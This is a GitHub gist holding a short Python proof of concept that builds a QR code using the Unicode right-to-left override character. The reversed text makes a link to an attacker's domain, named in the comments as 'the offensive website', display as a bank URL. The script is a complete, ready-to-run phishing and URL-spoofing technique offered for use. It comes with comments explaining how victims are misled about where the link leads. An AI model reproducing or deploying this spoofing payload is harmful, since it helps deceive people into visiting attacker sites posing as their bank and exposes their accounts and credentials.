Last active
March 9, 2018 02:00
-
-
Save glefait/b23034cdc5acb2fba72eb6f084bd1c10 to your computer and use it in GitHub Desktop.
right to left unicode character to pown qrcode reader
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Use RTL unicode to trick QrCode reader | |
# Idea from Dylan Katz: https://twitter.com/Plazmaz | |
import qrcode | |
qr = qrcode.QRCode( | |
version=1, | |
error_correction=qrcode.constants.ERROR_CORRECT_L, | |
box_size=10, | |
border=4, | |
) | |
# blk.fr is the offensive website | |
# bank.com/account is the url that will presented in the right order | |
# user will see: bank.com/account/rf.klb//:sptth | |
# it will be redirected to https://blk.fr/tnuocca/moc.knab | |
qr.add_data(u'\u202e' + "https://blk.fr/{}".format("bank.com/account"[::-1])) | |
qr.make(fit=True) | |
img = qr.make_image() | |
img.show() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment